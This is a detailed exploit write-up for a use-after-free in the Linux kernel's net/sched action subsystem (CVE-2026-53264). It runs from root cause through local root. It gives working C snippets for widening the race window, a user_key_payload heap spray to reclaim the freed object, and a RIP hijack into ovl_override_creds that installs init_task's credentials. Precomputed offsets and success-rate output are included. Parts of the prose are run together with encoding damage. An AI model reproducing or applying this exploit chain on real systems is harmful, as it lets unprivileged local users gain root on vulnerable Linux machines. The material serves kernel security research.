Exploiting CVE-2026-53264 with One Function
Exploiting a use-after-free vulnerability in the Linux kernel net/sched: act_api subsystem. The Linux kernelโs net/sched: act_api subsystem contains a use-after-free vulnerability: the action release path violates the RCU lifetime rules and calls This creates a race window: after CPU A obtains a pointer to object A inside an RCU read-side critical section, CPU B frees object A before CPU A has left the critical section. CPU A then keeps accessing object A through the now-dangling pointer. Call the object corrupted by the use-after-free the Normally, once To bypass this check, the Race sequence diagram: Userspace configures Qdiscs through rtnetlink, which requires the owner of the net namespace to hold An unprivileged user can create a user namespace, gain Configuring actions through This is a historical artifact: as user namespaces were developed, Qdisc configuration was gradually opened up to user namespaces, but the action configuration interfaces were missed. Actions can still be configured indirectly through Bypassing Bypassing To bypass The clsact Qdisc sets This requires the Linux kernel to be built with The flower filter sets This requires the Linux kernel to be built with The race window is extremely short and hard to hit, so some optimization is needed to improve the hit rate. This is a generic technique for extending the race window in time. Arm a timer with timerfd; when it expires, it raises a hard interrupt on the CPU. Register the timerfd with a large number of epoll fds, so the hard interrupt has to notify all of them. This dramatically increases the time spent in the hard interrupt, while other tasks on the CPU are suspended until it finishes. If the timerfd expires inside the race window, the hard interrupt comes in, the tasks on the CPU are suspended, and the race window stays open until the interrupt finishes and the The race sequence diagram at this point: Example code: Since there is no guarantee the timerfd expires exactly inside the race window, some randomness must be added before opening it. This is analogous to string matching: The string is ABCDEFG and the pattern is EFG. Place EFG at the far left of the string and match: ABC matches. Slide right by one unit: BCD matches. Eventually the alignment succeeds and EFG matches. The string is fixed, just as the timerfd expiry is fixed. Sliding EFG right by one unit is like sliding the race window right by one unit; as long as the timerfd expiry lands within the race window, the race window effectively stays open. A busy loop provides the finest-grained sleep possible. This slides by 30 units per iteration, over a range of 0โ1999. A binder thread sends an The actions are created in a loop and committed together once all succeed. The first action is created successfully, but the second one fails, so the code jumps to the The benefit is that this opens the race window without sending an Each filter chain has a per-chain global lock, The racing is extremely fast; racing a single action creates massive overshoot and the success rate has already maxed out. Racing multiple actions instead increases the chance of success. L1D is the per-CPU level-1 data cache. Flushing it increases the latency of CPU data accesses, stretching the race window. Example code: Three binder threads on different CPUs and different filter chains race ten actions simultaneously. A creater thread on yet another CPU and filter chain repeatedly creates and deletes the ten racing actions through One thread must create the actions correctly, because the binder threadsโ creation ultimately fails. After the race optimizations, the UAF triggers reliably, yielding the The KASLR base is leaked with EntryBleed, ported from kasld. The action used is gact, the most common action type. This requires the Linux kernel to be built with Creating an action means allocating the The gact subclass is Spray The action is only actually freed once its refcount reaches zero, on an arbitrary CPU. So a spray thread must be created on every possible CPU. Creating a Updating the The The size of Updating a key first allocates memory for the This interferes with the exploit, because As long as Once the While creating actions in its loop, Controlling this function pointer controls RIP. The Offset 0 of The first 8 bytes of Updating a While spraying That means This requires the This likely holds, but it does reduce exploit reliability. With RIP controlled, the next step is local privilege escalation. The kernel version is v7.1-rc5, and no usable stack pivot gadget was found for this build. Set a breakpoint at The initial idea was to hijack RIP to But The final choice was to hijack RIP to First, work out where So This requires This significantly reduces exploit reliability. kmalloc-256 slab block-beta: Solve the equation This requires the This barely affects exploit reliability: the action release path never calls This requires This is what actually affects exploit reliability. There are two cases. The high-frequency action allocations and the high-frequency In this case the Call In this case the rate at which buddy free pages are refilled into the kmalloc-256 slab must be increased โ i.e. spray even more frequently. On idle CPUs, spray After the optimizations, ten consecutive runs achieve a success rate of roughly 80% to 90%, averaging about 3 seconds each. Lee, J. J. (2026). When AI Makes 0-Days Feel Like N-Days. STAR LABS SG PTE. LTD. https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/. Konovalov, A. (2024). SLUB Internals for Exploit Developers. xairy.io. https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf. Zeng, K. (2022). Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability. USENIX Security Symposium. https://www.usenix.org/conference/usenixsecurity22/presentation/zeng. bcoles. (2026). KASLD defeats Linux kernel KASLR from a local process โ recovering the virtual and physical memory layout where a leak or side channel allows, and narrowing it to the smallest set of placements the evidence supports otherwise. github.com. https://github.com/bcoles/kasld.kfree() to free the object directly.Victim Object, and the object that takes over its memory the Reclaim Object. Root Cause
static void free_tcf(struct tc_action *p)
{
struct tcf_chain *chain = rcu_dereference_protected(p->goto_chain, 1);
free_percpu(p->cpu_bstats);
free_percpu(p->cpu_bstats_hw);
free_percpu(p->cpu_qstats);
tcf_set_action_cookie(&p->user_cookie, NULL);
if (chain)
tcf_chain_put_by_act(chain);
/* kfree immediately */
kfree(p);
}free_tcf() calls kfree(p); directly.int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
struct tc_action **a, int bind)
{
struct tcf_idrinfo *idrinfo = tn->idrinfo;
struct tc_action *p;
int ret;
u32 max;
if (*index) {
/* RCU period start */
rcu_read_lock();
p = idr_find(&idrinfo->action_idr, *index);
/* [1] race window start */
if (IS_ERR(p)) {
/* This means that another process allocated
* index but did not assign the pointer yet.
*/
rcu_read_unlock();
return -EAGAIN;
}
if (!p) {
/* Empty slot, try to allocate it */
max = *index;
rcu_read_unlock();
goto new;
}
/* [2] race window end */
if (!refcount_inc_not_zero(&p->tcfa_refcnt)) {
/* Action was deleted in parallel */
rcu_read_unlock();
return -EAGAIN;
}
if (bind)
atomic_inc(&p->tcfa_bindcnt);
*a = p;
/* RCU period end */
rcu_read_unlock();p = idr_find(&idrinfo->action_idr, *index); looks up *index and returns the corresponding struct tc_action *p;.if (!refcount_inc_not_zero(&p->tcfa_refcnt)) checks that p->tcfa_refcnt is non-zero and otherwise returns an error.p has been freed, p->tcfa_refcnt is exactly 0. The race window therefore sits between p = idr_find(&idrinfo->action_idr, *index); and if (!refcount_inc_not_zero(&p->tcfa_refcnt)).Reclaim Object must be in place beforehand, overwriting p->tcfa_refcnt with a value greater than 0.
sequenceDiagram
participant C0 as CPU 0: use
participant C1 as CPU 1: free
participant C2 as CPU 2: reclaim
Note over C0: p = idr_find(&idrinfo->action_idr, *index);
Note over C1: kfree(p);
Note over C2: reclaim and p->tcfa_refcnt > 0
Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))
Exploitation Requirements
rtnetlink
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
/* ... */
if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
return -EPERM;
/* ... */
}CAP_NET_ADMIN.CAP_NET_ADMIN inside it, and then create a net namespace to configure Qdiscs. This requires the Linux kernel to be built with CONFIG_USER_NS and CONFIG_NET_NS. Vulnerability Trigger Path
static int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
if ((n->nlmsg_type != RTM_GETACTION) &&
!netlink_capable(skb, CAP_NET_ADMIN))
return -EPERM;
/* ... */
}bool netlink_capable(const struct sk_buff *skb, int cap)
{
return netlink_ns_capable(skb, &init_user_ns, cap);
}RTM_NEWACTION and RTM_DELACTION checks whether the user holds CAP_NET_ADMIN in init_user_ns.RTM_NEWTFILTER and RTM_DELTFILTER. rtnl_lock()
rtnl_lock() takes the global rtnetlink mutex. If RTM_NEWTFILTER and RTM_DELTFILTER acquire this lock, the two operations get serialized and cannot race.static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
bool rtnl_held = false;
/* ... */
/* Take rtnl mutex if rtnl_held was set to true on previous iteration,
* block is shared (no qdisc found), qdisc is not unlocked, classifier
* type is not specified, classifier is not unlocked.
*/
if (rtnl_held ||
(q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
!tcf_proto_is_unlocked(name)) {
rtnl_held = true;
rtnl_lock();
}
/* ... */
}static bool tcf_proto_is_unlocked(const char *kind)
{
const struct tcf_proto_ops *ops;
bool ret;
if (strlen(kind) == 0)
return false;
ops = tcf_proto_lookup_ops(kind, false, NULL);
/* On error return false to take rtnl lock. Proto lookup/create
* functions will perform lookup again and properly handle errors.
*/
if (IS_ERR(ops))
return false;
ret = !!(ops->flags & TCF_PROTO_OPS_DOIT_UNLOCKED);
module_put(ops->owner);
return ret;
}rtnl_lock() for the RTM_NEWTFILTER operation requires all of the following:rtnl_held == false.struct Qdisc *q != NULL with QDISC_CLASS_OPS_DOIT_UNLOCKED set in q->ops->cl_ops->flags, or struct Qdisc *q == NULL.TCF_PROTO_OPS_DOIT_UNLOCKED set.static int tc_del_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
/* Take rtnl mutex if flushing whole chain, block is shared (no qdisc
* found), qdisc is not unlocked, classifier type is not specified,
* classifier is not unlocked.
*/
if (!prio ||
(q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
!tcf_proto_is_unlocked(name)) {
rtnl_held = true;
rtnl_lock();
}
/* ... */
}rtnl_lock() for the RTM_DELTFILTER operation requires all of the following:prio != 0.struct Qdisc *q != NULL with QDISC_CLASS_OPS_DOIT_UNLOCKED set in q->ops->cl_ops->flags, or struct Qdisc *q == NULL.TCF_PROTO_OPS_DOIT_UNLOCKED set.rtnl_lock(), pick a Qdisc type whose cl_ops->flags includes QDISC_CLASS_OPS_DOIT_UNLOCKED and a filter type with TCF_PROTO_OPS_DOIT_UNLOCKED set.static const struct Qdisc_class_ops clsact_class_ops = {
.flags = QDISC_CLASS_OPS_DOIT_UNLOCKED,
.leaf = ingress_leaf,
.find = clsact_find,
.walk = ingress_walk,
.tcf_block = clsact_tcf_block,
.bind_tcf = clsact_bind_filter,
.unbind_tcf = ingress_unbind_filter,
};QDISC_CLASS_OPS_DOIT_UNLOCKED in its cl_ops->flags.CONFIG_NET_SCH_INGRESS.static struct tcf_proto_ops cls_fl_ops __read_mostly = {
.kind = "flower",
.classify = fl_classify,
.init = fl_init,
.destroy = fl_destroy,
.get = fl_get,
.put = fl_put,
.change = fl_change,
.delete = fl_delete,
.delete_empty = fl_delete_empty,
.walk = fl_walk,
.reoffload = fl_reoffload,
.hw_add = fl_hw_add,
.hw_del = fl_hw_del,
.dump = fl_dump,
.terse_dump = fl_terse_dump,
.bind_class = fl_bind_class,
.tmplt_create = fl_tmplt_create,
.tmplt_destroy = fl_tmplt_destroy,
.tmplt_reoffload = fl_tmplt_reoffload,
.tmplt_dump = fl_tmplt_dump,
.get_exts = fl_get_exts,
.owner = THIS_MODULE,
.flags = TCF_PROTO_OPS_DOIT_UNLOCKED,
};
MODULE_ALIAS_NET_CLS("flower");TCF_PROTO_OPS_DOIT_UNLOCKED.CONFIG_NET_CLS_FLOWER. Race Optimization
timerfd + epoll
refcount_inc_not_zero() check completes. The interruptโs time window is then also the race window.
sequenceDiagram
participant C0 as CPU 0: use
participant C1 as CPU 1: free
participant C2 as CPU 2: reclaim
Note over C0: p = idr_find(&idrinfo->action_idr, *index);
Note over C0: hard irq
Note over C0: hard irq time window
Note over C1: kfree(p);
Note over C2: reclaim and p->tcfa_refcnt > 0
Note over C0: hard irq time window
Note over C0: hard irq finish
Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))
int timerfd_epoll(void)
{
struct itimerspec its = { .it_value = { .tv_nsec = 10000 } };
struct epoll_event ev = { .events = EPOLLIN };
int dup_tfds[100] = { 0 };
int epfds[500] = { 0 };
int tfd;
tfd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK);
for (int i = 0; i < 100; i++)
dup_tfds[i] = dup(tfd);
for (int i = 0; i < 500; i++) {
epfds[i] = epoll_create1(0);
/*
* all timerfd are registered to epoll fd
* 100 timerfd will expire at same time, wakeup epoll fd 100 times
* 100 timerfd with 500 epoll fd will wakeup epoll fd 100 * 500 times
*/
for (int n = 0; n < 100; n++)
epoll_ctl(epfds[i], EPOLL_CTL_ADD, dup_tfds[n], &ev);
}
/* start timerfd alarm */
timerfd_settime(tfd, 0, &its, NULL);
return EXIT_SUCCESS;
}int spin = (i * 30) % 2000;
for (volatile int n = 0; n < spin; n++)
; binder thread
RTM_NEWTFILTER rtnetlink packet that creates one filter and two actions โ deliberately with the second action built incompletely.int tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,
struct nlattr *est, struct tc_action *actions[],
int init_res[], size_t *attr_size,
u32 flags, u32 fl_flags,
struct netlink_ext_ack *extack)
{
/* ... */
for (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {
act = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],
&init_res[i - 1], flags, extack);
if (IS_ERR(act)) {
err = PTR_ERR(act);
goto err;
}
sz += tcf_action_fill_size(act);
/* Start from index 0 */
actions[i - 1] = act;
/* ... */
/* We have to commit them all together, because if any error happened in
* between, we could not handle the failure gracefully.
*/
tcf_idr_insert_many(actions, init_res);
/* ... */
err:
tcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);
/* ... */
}err path and destroys every action created so far, failing the whole RTM_NEWTFILTER operation.RTM_DELTFILTER packet for cleanup, saving time and reducing noise. The race window then appears more frequently, improving the hit rate. filter chain
static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
/* ... */
mutex_unlock(&chain->filter_chain_lock);
tp_new = tcf_proto_create(name, protocol, prio, chain,
rtnl_held, extack);
if (IS_ERR(tp_new)) {
err = PTR_ERR(tp_new);
goto errout_tp;
}
/* ... */
}chain->filter_chain_lock. Using multiple chains avoids serializing the operations and greatly improves racing efficiency. Racing Multiple Actions
Flushing the L1D Cache
/* greater than L1D size */
#define L1D_FLUSH_SIZE (64 * 1024)
static char buf[L1D_FLUSH_SIZE] __attribute__((aligned(64)));
volatile char a;
for (int i = 0; i < L1D_FLUSH_SIZE; i += 64)
a = buf[i]; Final Racing Strategy
RTM_NEWTFILTER and RTM_DELTFILTER. Exploit
Victim Object. KASLR
RIP
CONFIG_NET_ACT_GACT.int tcf_idr_create(struct tc_action_net *tn, u32 index, struct nlattr *est,
struct tc_action **a, const struct tc_action_ops *ops,
int bind, bool cpustats, u32 flags)
{
struct tc_action *p = kzalloc(ops->size, GFP_KERNEL);
...
}
EXPORT_SYMBOL(tcf_idr_create);struct tc_action subclass for that action type.static struct tc_action_ops act_gact_ops = {
.kind = "gact",
.id = TCA_ID_GACT,
.owner = THIS_MODULE,
.act = tcf_gact_act,
.stats_update = tcf_gact_stats_update,
.dump = tcf_gact_dump,
.init = tcf_gact_init,
.get_fill_size = tcf_gact_get_fill_size,
.offload_act_setup = tcf_gact_offload_act_setup,
.size = sizeof(struct tcf_gact),
};
MODULE_ALIAS_NET_ACT("gact");struct tcf_gact.# pahole -C tcf_gact vmlinux
struct tcf_gact {
struct tc_action common __attribute__((__aligned__(16))); /* 0 192 */
/* XXX last struct has 4 bytes of padding, 4 holes */
/* --- cacheline 3 boundary (192 bytes) --- */
u16 tcfg_ptype; /* 192 2 */
u16 tcfg_pval; /* 194 2 */
int tcfg_paction; /* 196 4 */
atomic_t packets __attribute__((__aligned__(4))); /* 200 4 */
/* size: 208, cachelines: 4, members: 5 */
/* padding: 4 */
/* member types with holes: 1, total: 4 */
/* paddings: 1, sum paddings: 4 */
/* forced alignments: 2 */
/* last cacheline: 16 bytes */
} __attribute__((__aligned__(16)));struct tcf_gact is 208 bytes, landing in the kmalloc-256 slab cache.struct user_key_payload to reclaim the Victim Objectโs slab slot, obtaining the Reclaim Object.struct user_key_payload:key = syscall(SYS_add_key, "user", "x", payload, sizeof(payload), KEY_SPEC_PROCESS_KEYRING);struct user_key_payload, used for spraying:syscall(SYS_keyctl, KEYCTL_UPDATE, key, payload, sizeof(payload));# pahole -C user_key_payload vmlinux
struct user_key_payload {
struct callback_head rcu __attribute__((__aligned__(8))); /* 0 16 */
short unsigned int datalen; /* 16 2 */
/* XXX 6 bytes hole, try to pack */
char data[] __attribute__((__aligned__(8))); /* 24 0 */
/* size: 24, cachelines: 1, members: 3 */
/* sum members: 18, holes: 1, sum holes: 6 */
/* forced alignments: 2, forced holes: 1, sum forced holes: 6 */
/* last cacheline: 24 bytes */
} __attribute__((__aligned__(8)));struct user_key_payload header is 24 bytes; data is a flexible array whose size is fixed at creation.int user_preparse(struct key_preparsed_payload *prep)
{
...
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
...
}
EXPORT_SYMBOL_GPL(user_preparse);struct user_key_payload is the header size plus the data size. For struct user_key_payload to also land in the kmalloc-256 slab cache, data + 24 must be greater than 192 and at most 256.long keyctl_update_key(key_serial_t id,
const void __user *_payload,
size_t plen)
{
...
/* pull the payload in if one was supplied */
payload = NULL;
if (plen) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL);
if (!payload)
goto error;
ret = -EFAULT;
if (copy_from_user(payload, _payload, plen) != 0)
goto error2;
}
...
}payload โ i.e. data. If data is larger than 192 it also lands in the kmalloc-256 slab cache.data may itself reclaim the Victim Objectโs slab slot.data is greater than 168 and at most 192, data lands in the kmalloc-192 slab cache โ 168 + 24 + 1 = 192 + 1 โ and struct user_key_payload still lands in kmalloc-256.Reclaim Object is in place, if (!refcount_inc_not_zero(&p->tcfa_refcnt)) will check whether p->tcfa_refcnt is zero โ this check must be bypassed.# pahole -C tc_action vmlinux
struct tc_action {
...
refcount_t tcfa_refcnt __attribute__((__aligned__(4))); /* 28 4 */
...
} __attribute__((__aligned__(16)));tcfa_refcnt sits at offset 28, overlapping the Reclaim Objectโs data[4] for 4 bytes, so set *(uint32_t *)(data + 4) to a value greater than 0.static size_t tcf_action_fill_size(const struct tc_action *act)
{
size_t sz = tcf_action_shared_attrs_size(act);
if (act->ops->get_fill_size)
return act->ops->get_fill_size(act) + sz;
return sz;
}tcf_action_init() calls tcf_action_fill_size() for each successfully created action, which ends up calling act->ops->get_fill_size().# pahole -C tc_action vmlinux
struct tc_action {
const struct tc_action_ops * ops; /* 0 8 */
...
} __attribute__((__aligned__(16)));ops pointer, at offset 0.# pahole -C user_key_payload vmlinux
struct user_key_payload {
struct callback_head rcu __attribute__((__aligned__(8))); /* 0 16 */
...
} __attribute__((__aligned__(8)));struct user_key_payload is the struct callback_head rcu.# pahole -C callback_head vmlinux
struct callback_head {
struct callback_head * next; /* 0 8 */
void (*func)(struct callback_head *); /* 8 8 */
/* size: 16, cachelines: 1, members: 2 */
/* last cacheline: 16 bytes */
} __attribute__((__aligned__(8)));struct callback_head are struct callback_head *next, which overlaps the ops pointer. Whether struct callback_head *next points to attacker-controlled memory is therefore the key to the exploit.int user_update(struct key *key, struct key_preparsed_payload *prep)
{
struct user_key_payload *zap = NULL;
...
zap = dereference_key_locked(key);
if (zap)
call_rcu(&zap->rcu, user_free_payload_rcu);
...
}
EXPORT_SYMBOL_GPL(user_update);struct user_key_payload calls call_rcu() to free the stale one after a grace period.void rcu_segcblist_enqueue(struct rcu_segcblist *rsclp,
struct rcu_head *rhp)
{
...
WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);
WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);
...
}call_rcu() ends up in rcu_segcblist_enqueue(), where rhp is the &zap->rcu passed in by call_rcu().#define rcu_head callback_headstruct rcu_head is just struct callback_head.struct rcu_head **tails[RCU_CBLIST_NSEGS] is a triple pointer.rsclp->tails[RCU_NEXT_TAIL] has type struct rcu_head **; *rsclp->tails[RCU_NEXT_TAIL] is a struct rcu_head *.WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);*rsclp->tails[RCU_NEXT_TAIL] = rhpWRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);rsclp->tails[RCU_NEXT_TAIL] = &rhp->nextrsclp->tails[RCU_NEXT_TAIL] points to the next pointer of the last element in the list.*rsclp->tails[RCU_NEXT_TAIL] is the last elementโs next pointer.struct user_key_payload, a large number of them are added to the list, most likely contiguously.struct callback_head *next most likely points at another sprayed struct user_key_payload โ i.e. ops points at attacker-controlled memory.
flowchart LR
subgraph A["struct tc_action"]
direction TB
A1@{ shape: text, label: "+0x00 ops" }
end
subgraph B["struct user_key_payload"]
direction TB
subgraph B1["struct callback_head"]
direction TB
B2@{ shape: text, label: "+0x00 next" }
end
end
subgraph C["struct user_key_payload"]
direction TB
subgraph C1["struct callback_head"]
direction TB
C2@{ shape: text, label: "+0x00 next" }
end
end
A1 -->|same slab slot| B2
B2 -->|another slab slot| C2
style A1 fill:#00b86e
style B2 fill:#00b86e
Reclaim Object and another sprayed struct user_key_payload to have been added to the list one after the other before act->ops is dereferenced.# pahole -C tc_action_ops vmlinux
struct tc_action_ops {
...
size_t (*get_fill_size)(const struct tc_action *); /* 112 8 */
...
};*get_fill_size() sits at offset 112; 112 - 24 = 88, overlapping the Reclaim Objectโs data[88]. root
[0xffffffff818c8250]> pD 94 @ sym.tcf_action_fill_size
โญ size_t sym.tcf_action_fill_size(const struct tc_action *act);
โ โญโ< 0xffffffff821085e5 je 0xffffffff821085f2
โ โ 0xffffffff821085e7 movq %r12, %rdi ; act_api.c:473 return act->ops->get_fill_size(act) + sz;
โ โ 0xffffffff821085ea callq loc.__pi___x86_indirect_thunk_rax
โ 0xffffffff821085ef addq %rax, %rbx
โ โฐโ> 0xffffffff821085f2 movq %rbx, %rax ; act_api.c:475 }0xffffffff821085ea calls act->ops->get_fill_size().0xffffffff821085ea to observe the registers at that point.โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
RDI 0xffff888003fc8600 โโธ 0xffff888003fc9d00 โโธ 0xffff888003fc9c00 โโธ 0xffff888003fc8c00 โโธ 0xffff888003fc8b00 โโ ...
R12 0xffff888003fc8600 โโธ 0xffff888003fc9d00 โโธ 0xffff888003fc9c00 โโธ 0xffff888003fc8c00 โโธ 0xffff888003fc8b00 โโ ...
R15 0xffff888003fc8600 โโธ 0xffff888003fc9d00 โโธ 0xffff888003fc9c00 โโธ 0xffff888003fc8c00 โโธ 0xffff888003fc8b00 โโ ...%rdi, %r12, and %r15 all point at the Reclaim Object.commit_creds() with the Reclaim Object as the struct cred *new argument.# pahole -C cred vmlinux
struct cred {
atomic_long_t usage; /* 0 8 */
...
} __attribute__((__aligned__(8)));usage overlaps struct callback_head *next; โ the ops pointer โ which points to a heap address, and heap addresses always start with 0xffff.typedef struct {
long counter;
} atomic_long_t;int commit_creds(struct cred *new)
{
...
BUG_ON(atomic_long_read(&new->usage) < 1);
...
}usage is a signed type, so a value starting with 0xffff is interpreted as negative; the runtime assertion in commit_creds() then fails and the kernel panics.const struct cred *ovl_override_creds(struct super_block *sb)
{
struct ovl_fs *ofs = OVL_FS(sb);
return override_creds(ofs->creator_cred);
}struct task_struct init_task __aligned(L1_CACHE_BYTES) = {
...
RCU_POINTER_INITIALIZER(cred, &init_cred),
...
};
EXPORT_SYMBOL(init_task);ovl_override_creds() and use init_task.cred for privilege escalation. This function calls override_creds() to replace the current CPU taskโs cred with ofs->creator_cred.static inline struct ovl_fs *OVL_FS(struct super_block *sb)
{
if (IS_ENABLED(CONFIG_OVERLAY_FS_DEBUG))
WARN_ON_ONCE(sb->s_type != &ovl_fs_type);
return (struct ovl_fs *)sb->s_fs_info;
}ofs is sb->s_fs_info.# pahole -C super_block vmlinux
struct super_block {
...
void * s_fs_info; /* 848 8 */
...
} __attribute__((__aligned__(64)));s_fs_info sits at offset 848 == 0x350.[0xffffffff818c8250]> pD 56
โญ const struct cred *sym.ovl_override_creds(struct super_block *sb);
โ 0xffffffff818c8250 endbr64 ; util.c:66 {
โ 0xffffffff818c8254 callq sym.__fentry
โ 0xffffffff818c8259 movq 0x350(%rdi), %rax ; util.c:67 struct ovl_fs *ofs = OVL_FS(sb);
โ 0xffffffff818c8260 pushq %rbp ; util.c:66 {
โ 0xffffffff818c8261 movq 0x78(%rax), %rcx ; util.c:69 return override_creds(ofs->creator_cred);
โ 0xffffffff818c8265 movq obj.current_task, %rax ; current.h:20 static __always_inline struct task_struct *get_current(void)
โ 0xffffffff818c826d movq %rsp, %rbp ; util.c:66 {
โ 0xffffffff818c8270 movq 0x7c8(%rax), %rdx ; cred.h:183 return rcu_replace_pointer(current->cred, override_cred, 1);
โ 0xffffffff818c8277 movq %rcx, 0x7c8(%rax) ; current.h:20 static __always_inline struct task_struct *get_current(void)
โ 0xffffffff818c827e movq %rdx, %rax ; util.c:70 }
โ 0xffffffff818c8281 popq %rbp
โฐ โญโ< 0xffffffff818c8282 jmp loc.__pi___x86_return_thunk ; loc.__pi___x86_return_thunk
โ 0xffffffff818c8287 invalidmovq 0x350(%rdi), %rax: %rax = *(uintptr_t *)(%rdi + 0x350) == ofs# pahole -C ovl_fs vmlinux
struct ovl_fs {
const struct cred *creator_cred; /* 120 8 */
} __attribute__((__aligned__(8)));movq 0x78(%rax), %rcx: %rcx = *(uintptr_t *)(%rax + 0x78) == ofs->creator_credmovq obj.current_task, %rax: loads the current CPUโs struct task_struct * into %rax.# pahole -C task_struct vmlinux
struct task_struct {
const struct cred *cred; /* 1992 8 */
} __attribute__((__aligned__(64)));cred sits at offset 1992 == 0x7c8.movq %rcx, 0x7c8(%rax): *(uintptr_t *)(%rax + 0x7c8) == task_struct->cred = %rcx == ofs->creator_cred%rdi is the Reclaim Object; the goal is *(*(%rdi + 0x350) + 0x78) = init_task.cred.*(%rdi + 0x350) lands within data.0x350 % 256 = 8080 - 24 = 56*(%rdi + 0x350) overlaps data[56] โ but not of this Reclaim Object.0x350 / 256 = 3, so *(%rdi + 0x350) lands in memory starting at Reclaim Object + 3 * 256 โ which is not necessarily a kmalloc-256 slab slot; it could be a buddy-allocator free page or something else.Reclaim Object + 3 * 256 to also be a sprayed struct user_key_payload.
block-beta
columns 5
space UAF["UAF"] space:3
space P0["sprayed user_key_payload"] space:2 P3["sprayed user_key_payload"]
slab["kmalloc-256 slab"] p0["[0]"] p1["[1]"] p2["[2]"] p3["[3]"]
*(data[56] + 0x78) = init_task.cred for data[56].*(data[56] + 0x78) = init_task.cred = data[56] + 0x78 = &init_task.creddata[56] + 0x78 = &init_task.cred = data[56] = &init_task.cred - 0x78data[56] = &init_task.cred - 0x78 = data[56] = &init_task + 1992 - 0x78[0xffffffff818c8250]> is~init_task
160018 0x01e0aa00 0xffffffff82c0aa00 GLOBAL OBJ 3264 init_taskinit_taskโs address, found with rizin.data[56] = 0xffffffff82c0aa00 + 1992 - 0x78 Improving Reliability
Reclaim Object and another sprayed struct user_key_payload to have been added to the list one after the other before act->ops is dereferenced.call_rcu(), leaving only the high-frequency call_rcu() calls from the struct user_key_payload spraying, which almost completely drowns out system noise.Reclaim Object + 3 * 256 to also be a sprayed struct user_key_payload.Reclaim Object + 3 * 256 is a kmalloc-256 slab slot.struct user_key_payload allocations compete in the same slab cache.struct user_key_payload allocation rate must exceed the action allocation rate, and itโs best to allocate several in a row each time.sched_yield() before the spray starts, to give up the CPU, so the spray runs for a full time slice and sprays many struct user_key_payload back to back.Reclaim Object + 3 * 256 is a free page in the buddy allocator.struct user_key_payload at full speed, keeping only the spray code in the loop.================================================
Summary
================================================
Total runs: 10
Successes: 9
Failures: 1
Avg time: 2358.819 ms
Min time: 68.026 ms
Max time: 6880.593 ms
Success rate: 90.00%
================================================ References